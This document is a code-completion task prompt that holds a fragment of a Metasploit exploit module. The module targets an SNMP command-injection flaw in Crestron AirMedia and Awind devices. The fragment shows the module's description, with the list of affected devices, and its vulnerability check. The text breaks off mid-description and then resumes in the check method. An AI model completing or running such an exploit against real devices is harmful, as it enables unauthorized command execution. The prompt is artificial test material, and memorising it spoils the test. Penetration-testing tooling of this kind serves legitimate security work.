You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: awind_snmp_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/snmp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SNMPClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "AwindInc SNMP Service Command Injection",
      'Description'    => %q{
        This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
        A valid SNMP read-write community is required to exploit this vulnerability.

        The following devices are known to be affected by this issue:

          * Crestron Airmedia AM-100 <= version 1.5.0.4
          * Crestron Airmedia AM-101 <= version 2.5.0.12
          * Awind WiPG-1600w <= version 2.0.1.8
          * Awind WiPG-200
    
  def check
    begin
      connect_snmp
      sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
      print_status("Target system is #{sys_description}")
      # AM-100 and AM-101 considered EOL, no fix so no need to check version.
      model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
      case model
      when 'AM-100', 'AM-101'
          return CheckCode::Vulnerable
      else
          # TODO: insert description check for other vulnerable models (that I don't have)
          # In the meantime, we return 'safe'.
          return CheckCode::Safe
      end
    rescue SNMP::RequestTimeout
      print_error("#{ip} SNMP request timeout.")
    rescue Rex::ConnectionError
      print_error("#{ip} Connection refused.")
    rescue SNMP::UnsupportedVersion
      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Unknown error: #{e.class} #{e}")
    ensure
      disconnect_snmp
    end